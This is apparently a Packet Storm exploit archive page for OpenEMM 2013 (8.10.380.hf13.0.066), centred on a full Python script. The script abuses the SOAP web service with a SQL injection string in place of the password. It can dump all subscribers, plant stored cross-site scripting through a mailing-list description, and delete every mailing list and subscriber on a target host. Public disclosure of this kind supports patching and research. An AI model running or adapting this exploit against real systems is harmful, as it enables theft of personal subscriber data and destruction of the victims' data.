what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

OpenEMM-2013 8.10.380.hf13.0.066 Cross Site Scripting / SQL Injection

OpenEMM-2013 8.10.380.hf13.0.066 Cross Site Scripting / SQL Injection
Posted Jul 29, 2013
Authored by drone

OpenEMM-2013 version 8.10.380.hf13.0.066 suffers from cross site scripting and remote SQL injection vulnerabilities.

tags | exploit, remote, vulnerability, xss, sql injection
SHA-256 | 14456af2c9a5b9e11fb7313fb343d5a731c447e6b28ffc4391db130a2ff55411

OpenEMM-2013 8.10.380.hf13.0.066 Cross Site Scripting / SQL Injection

Change Mirror Download
import os
import sys
from SOAPpy import WSDL
from argparse import ArgumentParser
from re import sub

# Exploit Title: OpenEMM 2013 SQL Injection / Stored XSS
# Date: 07/20/2013
# Exploit Author: drone (@dronesec)
# More information (and required WSDL file):
# https://forelsec.blogspot.com/2013/07/openemm-2013-810380hf130066-soap-sql.html
# Vendor Homepage: https://www.openemm.org/
# Software Link: https://downloads.sourceforge.net/project/openemm/OpenEMM%20software/OpenEMM%202013/OpenEMM-2013-bin.tar.gz
# Version: 2013 (8.10.380.hf13.0.066)
# Tested on: Ubuntu 12.04

""" Exploits a host of vulnerabilities discovered in OpenEMM.
Required ws.wsdl file should be in local directory.
"""
def run(options):
""" run exploit
"""
wsdl_file = "./ws.wsdl"
sploit = "\\' OR 1=1;-- "

_server = WSDL.Proxy(wsdl_file)

if options.subscribers:
# iterate until we get a null response
idx = 1
while True:
ret = _server.getSubscriber("wsadmin", sploit, idx)
if ret.paramValues == '':
print '[!] Discovered %d subscribers'%(idx-1)
break

print ret.paramValues
idx += 1

elif options.mlist:
try:
print '[!] Description field vulnerable to stored xss!'
description = raw_input('[!] Enter mlist description: ')
except:
description = ''

ret = _server.addMailinglist('wsadmin', sploit, options.mlist, description)
if ret > 0: print '[!] Saved successfully'
else: print '[!] Save unsuccessful'

elif options.dmlist:
print '[!] Deleting all mailing lists...'
idx = 1
while True:
ret = _server.deleteMailinglist('wsadmin', sploit, idx)
if ret == 0:
print '[!] Deleted %d mailing lists.'%idx
break
idx += 1

elif options.dsubs:
print '[!] Deleting all subscribers...'
idx = 1
while True:
ret = _server.deleteSubscriber('wsadmin', sploit, idx)
if ret == 0:
print '[!] Deleted %d subscribers.'%idx
break
idx += 1

def parse_args():
""" parse args and sub in the desired IP
"""
parser = ArgumentParser()
parser.add_argument('-i', help='server address', action='store',
dest='host', required=True)
parser.add_argument('-s', help='fetch all subscribers', action='store_true',
dest='subscribers')
parser.add_argument('-m', help='create new mailing list (XSS)', action='store',
dest='mlist')
parser.add_argument('--dm', help='delete all mailing lists', action='store_true',
dest='dmlist')
parser.add_argument('--ds', help='delete all subscribers', action='store_true',
dest='dsubs')

options = parser.parse_args()
try:
# sub in server address
with open('ws.wsdl', 'r') as f:
out = open('tmp.wsdl', 'w+')
for line in f:
line = sub('location="(.*?)"',
'location="https://{0}:8080/emm_webservice"'.format(options.host),
line)
out.write(line)
out.close()
except IOError:
print '[-] ws.wsdl not found'
sys.exit(1)

# replace ws.wsdl with temp one
os.system('mv tmp.wsdl ws.wsdl')
return options

if __name__ == "__main__":
options = parse_args()
run(options)


Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    18 Files
  • 19
    Nov 19th
    7 Files
  • 20
    Nov 20th
    13 Files
  • 21
    Nov 21st
    6 Files
  • 22
    Nov 22nd
    48 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    60 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close